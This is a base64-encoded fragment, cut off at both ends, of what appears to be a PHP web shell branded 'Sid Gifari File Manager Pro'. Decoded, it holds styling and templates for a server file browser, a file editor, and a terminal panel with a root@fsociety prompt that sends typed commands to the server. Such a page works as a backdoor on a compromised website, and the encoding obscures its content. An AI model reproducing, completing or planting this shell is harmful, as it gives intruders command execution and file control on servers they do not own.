N5bWJvbCB7CiAgICAgICAgICAgIGNvbG9yOiAjM2ZiOTUwOwogICAgICAgICAgICBmb250LWZhbWlseTogbW9ub3NwYWNlOwogICAgICAgICAgICBmb250LXdlaWdodDogYm9sZDsKICAgICAgICB9CiAgICAgICAgLmZvcm0taW5saW5lIHsgCiAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7IAogICAgICAgICAgICBnYXA6IDEwcHg7IAogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAxMnB4OyAKICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsgCiAgICAgICAgICAgIGZsZXgtd3JhcDogd3JhcDsKICAgICAgICB9CiAgICAgICAgaW5wdXQsIHNlbGVjdCB7IAogICAgICAgICAgICBwYWRkaW5nOiAxMHB4IDE0cHg7IAogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjMzAzNjNkOyAKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNnB4OyAKICAgICAgICAgICAgZm9udC1zaXplOiAxM3B4OyAKICAgICAgICAgICAgb3V0bGluZTogbm9uZTsgCiAgICAgICAgICAgIHRyYW5zaXRpb246IGFsbCAwLjJzOyAKICAgICAgICAgICAgYmFja2dyb3VuZDogIzBkMTExNzsKICAgICAgICAgICAgY29sb3I6ICNjOWQxZDk7CiAgICAgICAgfQogICAgICAgIGlucHV0W3R5cGU9InRleHQiXSwgaW5wdXRbdHlwZT0iZmlsZSJdIHsgCiAgICAgICAgICAgIGZsZXg6IDE7IAogICAgICAgICAgICBtaW4td2lkdGg6IDE1MHB4OwogICAgICAgIH0KICAgICAgICBpbnB1dDpmb2N1cyB7IAogICAgICAgICAgICBib3JkZXItY29sb3I6ICM1OGE2ZmY7IAogICAgICAgICAgICBib3gtc2hhZG93OiAwIDAgMCAycHggcmdiYSg4OCwgMTY2LCAyNTUsIDAuMTUpOyAKICAgICAgICB9CiAgICAgICAgaW5wdXQ6OnBsYWNlaG9sZGVyIHsKICAgICAgICAgICAgY29sb3I6ICM0ODRmNTg7CiAgICAgICAgfQogICAgICAgIGJ1dHRvbiwgLmJ0biB7IAogICAgICAgICAgICBwYWRkaW5nOiAxMHB4IDE4cHg7IAogICAgICAgICAgICBib3JkZXI6IG5vbmU7IAogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA2cHg7IAogICAgICAgICAgICBmb250LXNpemU6IDEzcHg7IAogICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7IAogICAgICAgICAgICBmb250LXdlaWdodDogNjAwOyAKICAgICAgICAgICAgbGV0dGVyLXNwYWNpbmc6IDAuM3B4OyAKICAgICAgICAgICAgdHJhbnNpdGlvbjogYWxsIDAuMnM7CiAgICAgICAgICAgIHdoaXRlLXNwYWNlOiBub3dyYXA7CiAgICAgICAgICAgIGRpc3BsYXk6IGlubGluZS1mbGV4OwogICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOwogICAgICAgICAgICBnYXA6IDVweDsKICAgICAgICB9CiAgICAgICAgLmJ0bi1wcmltYXJ5IHsgYmFja2dyb3VuZDogIzIzODYzNjsgY29sb3I6ICNmZmY7IH0KICAgICAgICAuYnRuLXByaW1hcnk6aG92ZXIgeyBiYWNrZ3JvdW5kOiAjMmVhMDQzOyB0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoLTFweCk7IH0KICAgICAgICAuYnRuLWRhbmdlciB7IGJhY2tncm91bmQ6ICNkYTM2MzM7IGNvbG9yOiAjZmZmOyB9CiAgICAgICAgLmJ0bi1kYW5nZXI6aG92ZXIgeyBiYWNrZ3JvdW5kOiAjZjg1MTQ5OyB0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoLTFweCk7IH0KICAgICAgICAuYnRuLXdhcm5pbmcgeyBiYWNrZ3JvdW5kOiAjZDI5OTFkOyBjb2xvcjogI2ZmZjsgfQogICAgICAgIC5idG4td2FybmluZzpob3ZlciB7IGJhY2tncm91bmQ6ICNlM2IzNDE7IHRyYW5zZm9ybTogdHJhbnNsYXRlWSgtMXB4KTsgfQogICAgICAgIC5idG4taW5mbyB7IGJhY2tncm91bmQ6ICMxZjZmZWI7IGNvbG9yOiAjZmZmOyB9CiAgICAgICAgLmJ0bi1pbmZvOmhvdmVyIHsgYmFja2dyb3VuZDogIzM4OGJmZDsgdHJhbnNmb3JtOiB0cmFuc2xhdGVZKC0xcHgpOyB9CiAgICAgICAgLmJ0bi1zbSB7IHBhZGRpbmc6IDVweCAxMHB4OyBmb250LXNpemU6IDExcHg7IH0KICAgICAgICAuYnRuLXJlZnJlc2ggeyBiYWNrZ3JvdW5kOiAjNmU3NjgxOyBjb2xvcjogI2ZmZjsgfQogICAgICAgIC5idG4tcmVmcmVzaDpob3ZlciB7IGJhY2tncm91bmQ6ICM4Yjk0OWU7IH0KICAgICAgICAKICAgICAgICB0YWJsZSB7IAogICAgICAgICAgICB3aWR0aDogMTAwJTsgCiAgICAgICAgICAgIGJvcmRlci1jb2xsYXBzZTogc2VwYXJhdGU7IAogICAgICAgICAgICBib3JkZXItc3BhY2luZzogMDsgCiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDZweDsgCiAgICAgICAgICAgIG92ZXJmbG93OiBoaWRkZW47CiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICMwZjM0NjA7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTJweDsKICAgICAgICB9CiAgICAgICAgdGhlYWQgeyBiYWNrZ3JvdW5kOiAjMGYzNDYwOyB9CiAgICAgICAgdGggeyAKICAgICAgICAgICAgcGFkZGluZzogMTJweCAxNXB4OyAKICAgICAgICAgICAgdGV4dC1hbGlnbjogbGVmdDsgCiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA2MDA7IAogICAgICAgICAgICBjb2xvcjogI2U5NDU2MDsKICAgICAgICAgICAgZm9udC1zaXplOiAxMXB4OwogICAgICAgICAgICB0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlOwogICAgICAgICAgICBsZXR0ZXItc3BhY2luZzogMC41cHg7CiAgICAgICAgfQogICAgICAgIHRib2R5IHRyIHsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICMwZjM0NjA7IHRyYW5zaXRpb246IGJhY2tncm91bmQgMC4yczsgfQogICAgICAgIHRib2R5IHRyOmhvdmVyIHsgYmFja2dyb3VuZDogcmdiYSgyMzMsIDY5LCA5NiwgMC4wNSk7IH0KICAgICAgICB0ZCB7IHBhZGRpbmc6IDEwcHggMTJweDsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICMwZjM0NjA7IGNvbG9yOiAjYzlkMWQ5OyB2ZXJ0aWNhbC1hbGlnbjogbWlkZGxlOyB9CiAgICAgICAgLmZpbGUtaWNvbiB7IG1hcmdpbi1yaWdodDogOHB4OyBmb250LXNpemU6IDEuMWVtOyB9CiAgICAgICAgLmZvbGRlci1yb3cgeyBiYWNrZ3JvdW5kOiByZ2JhKDE1LCA1MiwgOTYsIDAuMyk7IH0KICAgICAgICAuZm9sZGVyLXJvdyB0ZDpmaXJzdC1jaGlsZCBhIHsgY29sb3I6ICNlOTQ1NjA7IGZvbnQtd2VpZ2h0OiA1MDA7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgfQogICAgICAgIC5mb2xkZXItcm93IHRkOmZpcnN0LWNoaWxkIGE6aG92ZXIgeyB0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsgY29sb3I6ICNmODUxNDk7IH0KICAgICAgICAuZmlsZS1yb3cgeyBiYWNrZ3JvdW5kOiByZ2JhKDI2LCAyNiwgNDYsIDAuNSk7IH0KICAgICAgICAuZmlsZS1yb3cgdGQ6Zmlyc3QtY2hpbGQgYSB7IGNvbG9yOiAjNThhNmZmOyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IH0KICAgICAgICAuZmlsZS1yb3cgdGQ6Zmlyc3QtY2hpbGQgYTpob3ZlciB7IHRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyB9CiAgICAgICAgLmFjdGlvbnMgeyBkaXNwbGF5OiBmbGV4OyBnYXA6IDZweDsgZmxleC13cmFwOiB3cmFwOyB9CiAgICAgICAgdGV4dGFyZWEgeyAKICAgICAgICAgICAgd2lkdGg6IDEwMCU7IG1pbi1oZWlnaHQ6IDQwMHB4OyAKICAgICAgICAgICAgZm9udC1mYW1pbHk6ICdDYXNjYWRpYSBDb2RlJywgJ0ZpcmEgQ29kZScsICdNb25hY28nLCBtb25vc3BhY2U7IAogICAgICAgICAgICBwYWRkaW5nOiAxNXB4OyBib3JkZXI6IDFweCBzb2xpZCAjMzAzNjNkOyBib3JkZXItcmFkaXVzOiA2cHg7IAogICAgICAgICAgICBmb250LXNpemU6IDEzcHg7IGxpbmUtaGVpZ2h0OiAxLjY7IHJlc2l6ZTogdmVydGljYWw7IAogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMGQxMTE3OyBjb2xvcjogI2M5ZDFkOTsKICAgICAgICB9CiAgICAgICAgdGV4dGFyZWE6Zm9jdXMgeyBib3JkZXItY29sb3I6ICM1OGE2ZmY7IG91dGxpbmU6IG5vbmU7IH0KICAgICAgICAuYWxlcnQgeyBwYWRkaW5nOiAxMnB4IDE4cHg7IGJvcmRlci1yYWRpdXM6IDZweDsgbWFyZ2luOiAxMnB4IDA7IGZvbnQtc2l6ZTogMTNweDsgYm9yZGVyOiAxcHggc29saWQ7IH0KICAgICAgICAuYWxlcnQtc3VjY2VzcyB7IGJhY2tncm91bmQ6IHJnYmEoMzUsIDEzNCwgNTQsIDAuMTUpOyBjb2xvcjogIzNmYjk1MDsgYm9yZGVyLWNvbG9yOiAjMjM4NjM2OyB9CiAgICAgICAgLmZvb3RlciB7IAogICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7IHBhZGRpbmc6IDIwcHg7IGNvbG9yOiAjOGI5NDllOyBmb250LXNpemU6IDExcHg7IAogICAgICAgICAgICBib3JkZXItdG9wOiAxcHggc29saWQgIzBmMzQ2MDsgYmFja2dyb3VuZDogIzBmMzQ2MDsKICAgICAgICB9CiAgICAgICAgLnN0YXRzIHsgZGlzcGxheTogZmxleDsgZ2FwOiAxNXB4OyBtYXJnaW46IDE1cHggMDsgZmxleC13cmFwOiB3cmFwOyB9CiAgICAgICAgLnN0YXQtY2FyZCB7IAogICAgICAgICAgICBmbGV4OiAxOyBtaW4td2lkdGg6IDEyMHB4OyBwYWRkaW5nOiAxNXB4OyBiYWNrZ3JvdW5kOiAjMGYzNDYwOyAKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogOHB4OyB0ZXh0LWFsaWduOiBjZW50ZXI7IGJvcmRlcjogMXB4IHNvbGlkICNlOTQ1NjA7CiAgICAgICAgfQogICAgICAgIC5zdGF0LXZhbHVlIHsgZm9udC1zaXplOiAxLjVlbTsgZm9udC13ZWlnaHQ6IGJvbGQ7IGNvbG9yOiAjZTk0NTYwOyB9CiAgICAgICAgLnN0YXQtbGFiZWwgeyBjb2xvcjogIzhiOTQ5ZTsgZm9udC1zaXplOiAwLjhlbTsgbWFyZ2luLXRvcDogNXB4OyB0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlOyBsZXR0ZXItc3BhY2luZzogMC41cHg7IH0KICAgICAgICAucXVpY2stY29tbWFuZHMgeyBkaXNwbGF5OiBmbGV4OyBnYXA6IDhweDsgZmxleC13cmFwOiB3cmFwOyBtYXJnaW4tdG9wOiAxMHB4OyB9CiAgICAgICAgLnF1aWNrLWNtZCB7CiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMwZjM0NjA7IGJvcmRlcjogMXB4IHNvbGlkICMzMDM2M2Q7IHBhZGRpbmc6IDZweCAxMnB4OwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA0cHg7IGN1cnNvcjogcG9pbnRlcjsgZm9udC1mYW1pbHk6IG1vbm9zcGFjZTsgZm9udC1zaXplOiAxMXB4OwogICAgICAgICAgICBjb2xvcjogIzU4YTZmZjsgdHJhbnNpdGlvbjogYWxsIDAuMnM7CiAgICAgICAgfQogICAgICAgIC5xdWljay1jbWQ6aG92ZXIgeyBiYWNrZ3JvdW5kOiAjZTk0NTYwOyBjb2xvcjogI2ZmZjsgYm9yZGVyLWNvbG9yOiAjZTk0NTYwOyB9CiAgICAgICAgLmZpbGUtYnJvd3Nlci1jb250YWluZXIgeyBtYXgtaGVpZ2h0OiA1MDBweDsgb3ZlcmZsb3cteTogYXV0bzsgYm9yZGVyLXJhZGl1czogNnB4OyB9CiAgICAgICAgLmZpbGUtYnJvd3Nlci1jb250YWluZXI6Oi13ZWJraXQtc2Nyb2xsYmFyIHsgd2lkdGg6IDhweDsgfQogICAgICAgIC5maWxlLWJyb3dzZXItY29udGFpbmVyOjotd2Via2l0LXNjcm9sbGJhci10cmFjayB7IGJhY2tncm91bmQ6ICMwZDExMTc7IH0KICAgICAgICAuZmlsZS1icm93c2VyLWNvbnRhaW5lcjo6LXdlYmtpdC1zY3JvbGxiYXItdGh1bWIgeyBiYWNrZ3JvdW5kOiAjMzAzNjNkOyBib3JkZXItcmFkaXVzOiA0cHg7IH0KICAgICAgICAuZmlsZS1icm93c2VyLWNvbnRhaW5lcjo6LXdlYmtpdC1zY3JvbGxiYXItdGh1bWI6aG92ZXIgeyBiYWNrZ3JvdW5kOiAjNDg0ZjU4OyB9CiAgICAgICAgYSB7IGNvbG9yOiAjNThhNmZmOyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IHRyYW5zaXRpb246IGNvbG9yIDAuMnM7IH0KICAgICAgICBhOmhvdmVyIHsgY29sb3I6ICNlOTQ1NjA7IH0KICAgICAgICAuYmFkZ2UgeyBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7IHBhZGRpbmc6IDJweCA4cHg7IGJvcmRlci1yYWRpdXM6IDEwcHg7IGZvbnQtc2l6ZTogMTBweDsgZm9udC13ZWlnaHQ6IDYwMDsgbGV0dGVyLXNwYWNpbmc6IDAuNXB4OyB9CiAgICAgICAgLmJhZGdlLXByb3RlY3RlZCB7IGJhY2tncm91bmQ6IHJnYmEoMjE4LCA1NCwgNTEsIDAuMik7IGNvbG9yOiAjZjg1MTQ5OyBib3JkZXI6IDFweCBzb2xpZCAjZGEzNjMzOyB9CiAgICAgICAgCiAgICAgICAgQG1lZGlhIChtYXgtd2lkdGg6IDc2OHB4KSB7CiAgICAgICAgICAgIGJvZHkgeyBwYWRkaW5nOiA1cHg7IH0KICAgICAgICAgICAgLmhlYWRlciB7IHBhZGRpbmc6IDE1cHg7IH0KICAgICAgICAgICAgLmhlYWRlciBoMSB7IGZvbnQtc2l6ZTogMS4zZW07IH0KICAgICAgICAgICAgLmZvcm0taW5saW5lIHsgZmxleC1kaXJlY3Rpb246IGNvbHVtbjsgYWxpZ24taXRlbXM6IHN0cmV0Y2g7IH0KICAgICAgICAgICAgLnF1aWNrLWNvbW1hbmRzIHsgZmxleC1kaXJlY3Rpb246IGNvbHVtbjsgfQogICAgICAgICAgICAuYWN0aW9ucyB7IGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47IH0KICAgICAgICAgICAgLnN0YXRzIHsgZmxleC1kaXJlY3Rpb246IGNvbHVtbjsgfQogICAgICAgICAgICB0aCwgdGQgeyBwYWRkaW5nOiA2cHggOHB4OyBmb250LXNpemU6IDExcHg7IH0KICAgICAgICAgICAgdGFibGUgeyBmb250LXNpemU6IDExcHg7IH0KICAgICAgICAgICAgLnRlcm1pbmFsLW91dHB1dCB7IG1heC1oZWlnaHQ6IDIwMHB4OyB9CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC5yZWZyZXNoLWJhciB7CiAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7CiAgICAgICAgICAgIGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjsKICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsKICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMTBweDsKICAgICAgICB9CiAgICA8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5PgogICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4KICAgICAgICA8ZGl2IGNsYXNzPSJoZWFkZXIiPgogICAgICAgICAgICA8aDE+8J+UkCBTaWQgR2lmYXJpIEZpbGUgTWFuYWdlciBQcm88L2gxPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdWJ0aXRsZSI+djguMC41IHwgPD89IGRhdGUoJ1ktbS1kIEg6aTpzJykgPz4gfCBQSFAgPD89IHBocHZlcnNpb24oKSA/PjwvZGl2PgogICAgICAgIDwvZGl2PgoKICAgICAgICA8P3BocCBpZiAoJHdwX21lc3NhZ2UpOiA/PgogICAgICAgIDxkaXYgY2xhc3M9ImFsZXJ0IGFsZXJ0LXN1Y2Nlc3MiPgogICAgICAgICAgICA8Pz0gaHRtbHNwZWNpYWxjaGFycygkd3BfbWVzc2FnZSkgPz4KICAgICAgICA8L2Rpdj4KICAgICAgICA8P3BocCBlbmRpZjsgPz4KCiAgICAgICAgPD89ICR1cGxvYWRfbWVzc2FnZXNfaHRtbCA/PgoKICAgICAgICA8IS0tIFBhdGggTmF2aWdhdGlvbiB3aXRoIFJlZnJlc2ggLS0+CiAgICAgICAgPGRpdiBjbGFzcz0icGF0aC1uYXYiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJyZWZyZXNoLWJhciI+CiAgICAgICAgICAgICAgICA8ZGl2PgogICAgICAgICAgICAgICAgICAgIDxzdHJvbmcgc3R5bGU9ImNvbG9yOiAjNThhNmZmOyI+8J+Tgjwvc3Ryb25nPgogICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9kaXI9PD89IHVybGVuY29kZShlbmNvZGVQYXRoKCRST09UKSkgPz4iPi8gKFJvb3QpPC9hPgogICAgICAgICAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICAgICAgICAgICAgJHBhdGhfcGFydHMgPSBleHBsb2RlKCcvJywgc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkY3VycmVudF9kaXIpKTsKICAgICAgICAgICAgICAgICAgICAkYnVpbGRfcGF0aCA9ICcnOwogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRwYXRoX3BhcnRzIGFzICRwYXJ0KSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkcGFydCA9PT0gJycpIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgICAgICAkYnVpbGRfcGF0aCAuPSAnLycgLiAkcGFydDsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnIC8gPGEgaHJlZj0iP2Rpcj0nIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoJGJ1aWxkX3BhdGgpKSAuICciPicgLiBodG1sc3BlY2lhbGNoYXJzKCRwYXJ0KSAuICc8L2E+JzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgPz4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPGRpdiBzdHlsZT0iZGlzcGxheTogZmxleDsgZ2FwOiAxMHB4OyBhbGlnbi1pdGVtczogY2VudGVyOyI+CiAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImN1cnJlbnQtZGlyLWRpc3BsYXkiPvCfk40gPD89IGh0bWxzcGVjaWFsY2hhcnMoJGN1cnJlbnRfZGlyKSA/Pjwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/ZGlyPTw/PSB1cmxlbmNvZGUoZW5jb2RlUGF0aCgkY3VycmVudF9kaXIpKSA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gY2xhc3M9ImJ0biBidG4tcmVmcmVzaCBidG4tc20iPvCflIQgUmVmcmVzaDwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KCiAgICAgICAgPGRpdiBjbGFzcz0ibWFpbi1jb250ZW50Ij4KICAgICAgICAgICAgPD9waHAgaWYgKCRlZGl0TW9kZSk6ID8+CiAgICAgICAgICAgICAgICA8IS0tIEVkaXQgTW9kZSAtLT4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InNlY3Rpb24iPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InNlY3Rpb24tdGl0bGUiPgogICAgICAgICAgICAgICAgICAgICAgICA8c3Bhbj7inI/vuI88L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuPkVkaXRpbmc6IDw/PSBodG1sc3BlY2lhbGNoYXJzKCRlZGl0RmlsZSkgPz48L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJiYWRnZSBiYWRnZS1wcm90ZWN0ZWQiIHN0eWxlPSJtYXJnaW4tbGVmdDogYXV0bzsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPD89IGlzX3dyaXRhYmxlKCRjdXJyZW50X2RpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkZWRpdEZpbGUpID8gJ1dyaXRhYmxlJyA6ICdSZWFkIE9ubHknID8+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iP2Rpcj08Pz0gdXJsZW5jb2RlKGVuY29kZVBhdGgoJGN1cnJlbnRfZGlyKSkgPz4mZWRpdD08Pz0gdXJsZW5jb2RlKCRlZGl0RmlsZSkgPz4iPgogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJlZGl0X2ZpbGUiIHZhbHVlPSI8Pz0gaHRtbHNwZWNpYWxjaGFycygkZWRpdEZpbGUpID8+Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPHRleHRhcmVhIG5hbWU9ImNvbnRlbnQiIHBsYWNlaG9sZGVyPSJGaWxlIGNvbnRlbnQuLi4iPjw/PSAkZWRpdENvbnRlbnQgPz48L3RleHRhcmVhPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJtYXJnaW4tdG9wOiAxNXB4OyBkaXNwbGF5OiBmbGV4OyBnYXA6IDEwcHg7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1wcmltYXJ5Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICDwn5K+IFNhdmUgQ2hhbmdlcwogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/ZGlyPTw/PSB1cmxlbmNvZGUoZW5jb2RlUGF0aCgkY3VycmVudF9kaXIpKSA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidG4gYnRuLXdhcm5pbmciPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICDinYwgQ2FuY2VsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgPD9waHAgZWxzZTogPz4KICAgICAgICAgICAgICAgIDwhLS0gU3RhdHMgLS0+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdGF0cyI+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3RhdC1jYXJkIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3RhdC12YWx1ZSI+PD89IGNvdW50KCRmb2xkZXJzKSA/PjwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdGF0LWxhYmVsIj5Gb2xkZXJzPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3RhdC1jYXJkIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3RhdC12YWx1ZSI+PD89IGNvdW50KCRmaWxlcykgPz48L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3RhdC1sYWJlbCI+RmlsZXM8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdGF0LWNhcmQiPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdGF0LXZhbHVlIj48Pz0gZm9ybWF0Qnl0ZXMoJHRvdGFsX3NpemUpID8+PC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InN0YXQtbGFiZWwiPlRvdGFsIFNpemU8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoJGZyZWVfc3BhY2UpOiA/PgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InN0YXQtY2FyZCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InN0YXQtdmFsdWUiPjw/PSBmb3JtYXRCeXRlcygkZnJlZV9zcGFjZSkgPz48L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3RhdC1sYWJlbCI+RnJlZSBTcGFjZTwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICAgICAgPCEtLSBUZXJtaW5hbCAtLT4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InNlY3Rpb24iPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InNlY3Rpb24tdGl0bGUiPgogICAgICAgICAgICAgICAgICAgICAgICA8c3Bhbj7wn5al77iPPC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICA8c3Bhbj5UZXJtaW5hbDwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gc3R5bGU9Im1hcmdpbi1sZWZ0OiBhdXRvOyBmb250LXNpemU6IDExcHg7IGNvbG9yOiAjOGI5NDllOyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Pz0gaHRtbHNwZWNpYWxjaGFycygkdGVybWluYWxfY3dkKSA/PgogICAgICAgICAgICAgICAgICAgICAgICA8L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idGVybWluYWwtYm94Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idGVybWluYWwtaGVhZGVyIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InRlcm1pbmFsLWRvdCByZWQiPjwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idGVybWluYWwtZG90IHllbGxvdyI+PC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXJtaW5hbC1kb3QgZ3JlZW4iPjwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9InRlcm1pbmFsLXRpdGxlIj5yb290QGZpbGVtYW5hZ2VyIOKAlCBiYXNoPC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCR0ZXJtaW5hbF9vdXRwdXQpOiA/PgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXJtaW5hbC1vdXRwdXQiPjw/PSBodG1sc3BlY2lhbGNoYXJzKCR0ZXJtaW5hbF9vdXRwdXQpID8+PC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXJtaW5hbC1wcm9tcHQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249Ij9kaXI9PD89IHVybGVuY29kZShlbmNvZGVQYXRoKCRjdXJyZW50X2RpcikpID8+Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0icHJvbXB0LXN5bWJvbCI+cm9vdEBmc29jaWV0eTp+JDwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idGVybWluYWwtdGV4dCIgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBsYWNlaG9sZGVyPSJFbnRlciBjb21tYW5kIChscywgY2QsIHdob2FtaSwgZXRjLikiIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhdXRvY29tcGxldGU9Im9mZiIgCiAgICAgICAgICAgICAgICAgICAgIC